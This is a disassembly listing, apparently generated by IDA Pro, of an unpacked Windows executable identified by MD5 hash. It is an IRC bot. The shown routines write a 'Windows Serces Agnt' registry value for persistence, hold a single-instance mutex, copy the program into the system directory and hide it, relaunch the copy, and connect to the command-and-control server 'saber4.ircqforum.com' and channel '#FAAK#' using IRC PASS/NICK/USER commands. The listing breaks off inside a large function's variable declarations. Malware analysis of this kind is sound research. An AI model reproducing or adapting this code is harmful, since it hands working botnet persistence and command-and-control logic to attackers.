;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 8495085F890B53968020D803C5E2895A
; File Name : u:\work\8495085f890b53968020d803c5e2895a_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DF000 ( 913408.)
; Section size in file : 000DF000 ( 913408.)
; Offset to raw data for section: 00001000
; Flags 60000020: Text Executable Readable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Execute
_packed segment para public 'CODE' use32
assume cs:_packed
;org 401000h
assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: sub_401221+358p
; sub_4188A6+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsSercesA ; "Windows Serces Agnt"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4CB998 ; RegCreateKeyExA
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B9C0
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4CBA08 ; RegSetValueExA
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4CB948 ; RegDeleteValueA
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4CB9C0 ; RegCloseKey
add edi, 8
cmp edi, offset dword_429068
jb short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427220[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: sub_4167A0+24Ap
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BEB5
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BEA2
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BBE2
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BAFA
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA91
push edi
call sub_41BA3B
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: sub_401221+14o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43E92C
call dword_4CBA7C ; closesocket
call sub_40B583
call dword_4CB93C ; WSACleanup
call dword_4CB93C ; WSACleanup
mov ebx, dword_427080
push 64h
call ebx ; Sleep
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43DB98
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_4011E2
push 64h
call ebx ; Sleep
push [ebp+var_10]
mov esi, dword_427070
call esi ; CloseHandle
push [ebp+var_C]
call esi ; CloseHandle
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43DB90
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call dword_42706C ; ExitProcess
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: .packed:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418BD1
pop ecx
mov dword_4CB720, eax
pop ecx
retn
sub_40111D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401221 proc near ; CODE XREF: sub_41E1D3+C9p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = dword ptr -0E4h
var_D8 = dword ptr -0D8h
var_B8 = dword ptr -0B8h
var_B4 = word ptr -0B4h
var_A0 = byte ptr -0A0h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_8], ebx
mov [ebp+var_C], ebx
mov [ebp+var_4], offset sub_40111D
push [ebp+var_4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B0
call esi ; GetTickCount
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4CB724, eax
call esi ; GetTickCount
push eax
call sub_41C2B8
pop ecx
call sub_409909
push 2
call dword_4CBA90 ; SetErrorMode
push 7530h
push offset aScortiser ; "scortiser"
push ebx
push ebx
call dword_4270AC ; CreateMutexA
push eax
call dword_4270A8 ; WaitForSingleObject
cmp eax, 102h
jnz short loc_4012A1
push 1
call dword_42706C ; ExitProcess
loc_4012A1: ; CODE XREF: sub_401221+76j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_4CB954 ; WSAStartup
cmp eax, ebx
jnz loc_4017E4
cmp [ebp+var_884], 2
jnz loc_4017DE
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_4017DE
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_42707C ; GetSystemDirectoryA
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4270A4 ; GetModuleHandleA
push eax
call dword_427078 ; GetModuleFileNameA
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_41C3B1
add esp, 14h
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset dword_429AD0
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_41C360
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_41C2E0
add esp, 1Ch
test eax, eax
jnz loc_401516
cmp dword_42908C, ebx
mov esi, offset byte_429110
jz short loc_40139C
push esi
xor edi, edi
call sub_41B9C0
sub eax, 4
pop ecx
jz short loc_40139C
loc_401379: ; CODE XREF: sub_401221+179j
call sub_41C2C2
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429110[edi], dl
inc edi
call sub_41B9C0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401379
loc_40139C: ; CODE XREF: sub_401221+148j
; sub_401221+156j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset dword_429AC8
push eax
call sub_41C266
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_4270A0 ; GetFileAttributesA
cmp eax, 0FFFFFFFFh
jz short loc_4013DC
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_42709C ; SetFileAttributesA
loc_4013DC: ; CODE XREF: sub_401221+1A7j
mov esi, dword_427098
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_4013F3: ; CODE XREF: sub_401221+209j
call esi ; CopyFileA
test eax, eax
jnz short loc_40142C
call dword_427094 ; RtlGetLastWin32Error
cmp edi, ebx
jnz short loc_40142C
cmp eax, 20h
jz short loc_40140D
cmp eax, 5
jnz short loc_40142C
loc_40140D: ; CODE XREF: sub_401221+1E5j
push 1
pop edi
push 3A98h
call dword_427080 ; Sleep
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_4013F3
; ---------------------------------------------------------------------------
loc_40142C: ; CODE XREF: sub_401221+1D6j
; sub_401221+1E0j ...
lea eax, [ebp+var_1E8]
push eax
call sub_4187E0
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_42709C ; SetFileAttributesA
push 10h
lea eax, [ebp+var_20]
push ebx
push eax
call sub_41BF70
push 44h
lea eax, [ebp+var_E4]
pop esi
push esi
push ebx
push eax
call sub_41BF70
add esp, 18h
mov [ebp+var_E4], esi
mov [ebp+var_D8], offset byte_43DB98
mov [ebp+var_B4], bx
push 1
pop esi
mov [ebp+var_B8], esi
call dword_427090 ; GetCurrentProcessId
push eax
push esi
push 100000h
loc_401495: ; DATA XREF: .packed:off_43309Co
call dword_42708C ; OpenProcess
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_429ABC
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_20]
push eax
lea eax, [ebp+var_E4]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_427074 ; CreateProcessA
test eax, eax
jz short loc_401516
push 0C8h
call dword_427080 ; Sleep
push [ebp+var_20]
mov esi, dword_427070
call esi ; CloseHandle
push [ebp+var_1C]
call esi ; CloseHandle
call dword_4CB93C ; WSACleanup
push ebx
call dword_42706C ; ExitProcess
loc_401516: ; CODE XREF: sub_401221+137j
; sub_401221+2CBj
cmp dword_4DBE08, 2
jle short loc_401562
mov eax, dword_4DBE0C
push dword ptr [eax+4]
call sub_41C159
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_4270A8 ; WaitForSingleObject
push esi
call dword_427070 ; CloseHandle
mov eax, dword_4DBE0C
cmp [eax+8], ebx
jz short loc_401562
push 7D0h
call dword_427080 ; Sleep
mov eax, dword_4DBE0C
push dword ptr [eax+8]
call dword_427088 ; DeleteFileA
loc_401562: ; CODE XREF: sub_401221+2FCj
; sub_401221+326j
cmp dword_429090, ebx
jz short loc_40157F
cmp dword_4CBAB4, ebx
jnz short loc_40157F
lea eax, [ebp+var_5F4]
push eax
call sub_401000
pop ecx
loc_40157F: ; CODE XREF: sub_401221+347j
; sub_401221+34Fj
lea eax, [ebp+var_A0]
push offset dword_429AA0
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_40B3BA
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 0B80h
push ebx
push offset dword_43DBA0
call sub_41BF70
add esp, 24h
lea eax, [ebp+var_A0]
push offset unk_429A7C
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 1
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
mov edi, dword_427084
lea eax, [ebp+var_8]
push eax
push ebx
push ebx
push offset sub_419F4D
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E934[esi], eax
jnz short loc_401622
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset unk_429A3C
push eax
call sub_41C266
add esp, 0Ch
loc_401622: ; CODE XREF: sub_401221+3E4j
lea eax, [ebp+var_A0]
push eax
call sub_415D38
push 2
call sub_40B602
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A7
lea eax, [ebp+var_A0]
push offset dword_429A10
push eax
call sub_41C266
push ebx
lea eax, [ebp+var_A0]
push 2
push eax
call sub_40B3BA
add esp, 14h
mov esi, eax
lea eax, [ebp+var_8]
push eax
push ebx
push esi
push offset sub_410BFD
push ebx
push ebx
call edi ; CreateThread
imul esi, 234h
cmp eax, ebx
mov dword_43E934[esi], eax
jnz short loc_40169A
call dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_A0]
push offset dword_4299DC
push eax
call sub_41C266
add esp, 0Ch
loc_40169A: ; CODE XREF: sub_401221+45Cj
lea eax, [ebp+var_A0]
push eax
call sub_415D38
pop ecx
loc_4016A7: ; CODE XREF: sub_401221+418j
call sub_41C2C2
push 7Fh
and eax, 3
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB72C
mov dword_4CB898, eax
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4CB7AC
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB87C, eax
call sub_41BFD0
push 3Fh
mov esi, offset dword_4CB7EC
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov dword_4CB880, ebx
loc_4016FC: ; CODE XREF: sub_401221+563j
; sub_401221+56Ej ...
mov [ebp+var_4], ebx
loc_4016FF: ; CODE XREF: sub_401221+517j
push offset dword_4CB728
mov dword_4CB894, ebx
call sub_4017ED
cmp eax, 2
mov [ebp+var_10], eax
jz loc_4017D9
cmp dword_4CB894, ebx
jz short loc_401726
dec [ebp+var_4]
loc_401726: ; CODE XREF: sub_401221+500j
push 0BB8h
call dword_427080 ; Sleep
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_4016FF
cmp [ebp+var_10], 2
jz loc_4017D9
cmp [ebp+var_C], ebx
jz short loc_401789
push 7Fh
push offset aSaber4_ircqfor ; "saber4.ircqforum.com"
push offset dword_4CB72C
call sub_41BFD0
mov eax, dword_42906C
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4CB87C, eax
call sub_41BFD0
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_401789: ; CODE XREF: sub_401221+526j
cmp byte_4290EC, bl
jz loc_4016FC
push 7Fh
push offset byte_4290EC
push offset dword_4CB72C
call sub_41BFD0
mov eax, dword_429070
push 3Fh
push offset aFaak_0 ; "#FAAK#"
push edi
mov dword_4CB87C, eax
call sub_41BFD0
push 3Fh
push offset aSaad__0 ; "saad."
push esi
call sub_41BFD0
add esp, 24h
mov [ebp+var_C], 1
jmp loc_4016FC
; ---------------------------------------------------------------------------
loc_4017D9: ; CODE XREF: sub_401221+4F4j
; sub_401221+51Dj
call sub_40B583
loc_4017DE: ; CODE XREF: sub_401221+A1j
; sub_401221+B1j
call dword_4CB93C ; WSACleanup
loc_4017E4: ; CODE XREF: sub_401221+94j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_401221 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017ED proc near ; CODE XREF: sub_401221+4E9p
; DATA XREF: sub_401ACD+654Co
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_401812: ; CODE XREF: sub_4017ED+E6j
; sub_4017ED+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BF70
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4CB9E4 ; htons
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8F0
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40193F
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BF70
push 0
lea eax, [ebp+var_2C]
push dword_4290A0
push dword_42909C
push eax
call sub_40AE84
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43E938
push edi
push eax
call sub_41BFD0
add esp, 28h
push 6
push 1
push 2
call dword_4CBA64 ; socket
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43E92C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4CB98C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_4018D8
push esi
call dword_4CBA7C ; closesocket
call sub_40A919
push 7D0h
loc_4018CD: ; CODE XREF: sub_4017ED+146j
call dword_427080 ; Sleep
jmp loc_401812
; ---------------------------------------------------------------------------
loc_4018D8: ; CODE XREF: sub_4017ED+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD8
call sub_415DAC
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_401955
add esp, 28h
mov edi, eax
push esi
call dword_4CBA7C ; closesocket
test edi, edi
jz loc_401812
cmp edi, 1
jnz short loc_401935
push 0DBBA0h
jmp short loc_4018CD
; ---------------------------------------------------------------------------
loc_401935: ; CODE XREF: sub_4017ED+13Fj
cmp edi, 2
jz short loc_401943
jmp loc_401812
; ---------------------------------------------------------------------------
loc_40193F: ; CODE XREF: sub_4017ED+5Aj
xor eax, eax
jmp short loc_40194F
; ---------------------------------------------------------------------------
loc_401943: ; CODE XREF: sub_4017ED+14Bj
push [ebp+var_34]
call sub_40B6D6
pop ecx
push 2
pop eax
loc_40194F: ; CODE XREF: sub_4017ED+154j
pop edi
pop esi
leave
retn 4
sub_4017ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401955 proc near ; CODE XREF: sub_4017ED+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C500
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_401973: ; CODE XREF: sub_401955+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_401973
cmp byte_4CB890, bl
jz short loc_40199A
push offset byte_4CB890
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_409823
add esp, 0Ch
loc_40199A: ; CODE XREF: sub_401955+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE84
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C266
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B9C0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4CBA34 ; send
cmp eax, 0FFFFFFFFh
jnz short loc_401A04
push [ebp+arg_0]
call dword_4CBA7C ; closesocket
push 1388h
call dword_427080 ; Sleep
loc_4019FD: ; CODE XREF: sub_401955+D9j
; sub_401955+153j
xor eax, eax
loc_4019FF: ; CODE XREF: sub_401955+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_401A04: ; CODE XREF: sub_401955+92j
; sub_401955+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BF70
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4CB9FC ; recv
test eax, eax
jle short loc_4019FD
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_4184CC
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_401A04
lea edi, [ebp+var_A90]
loc_401A55: ; CODE XREF: sub_401955+165j
push 1
pop esi
loc_401A58: ; CODE XREF: sub_401955+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401ACD
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A9B
push 7D0h
call dword_427080 ; Sleep
jmp short loc_401A58
; ---------------------------------------------------------------------------
loc_401A9B: ; CODE XREF: sub_401955+137j
cmp esi, 0FFFFFFFDh
jz short loc_401AC5
cmp esi, 0FFFFFFFEh
jz short loc_401AC1
cmp esi, 0FFFFFFFFh
jz loc_4019FD
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A55
jmp loc_401A04
; ---------------------------------------------------------------------------
loc_401AC1: ; CODE XREF: sub_401955+14Ej
push 1
jmp short loc_401AC7
; ---------------------------------------------------------------------------
loc_401AC5: ; CODE XREF: sub_401955+149j
push 2
loc_401AC7: ; CODE XREF: sub_401955+16Ej
pop eax
jmp loc_4019FF
sub_401955 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401ACD proc near ; CODE XREF: sub_401955+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
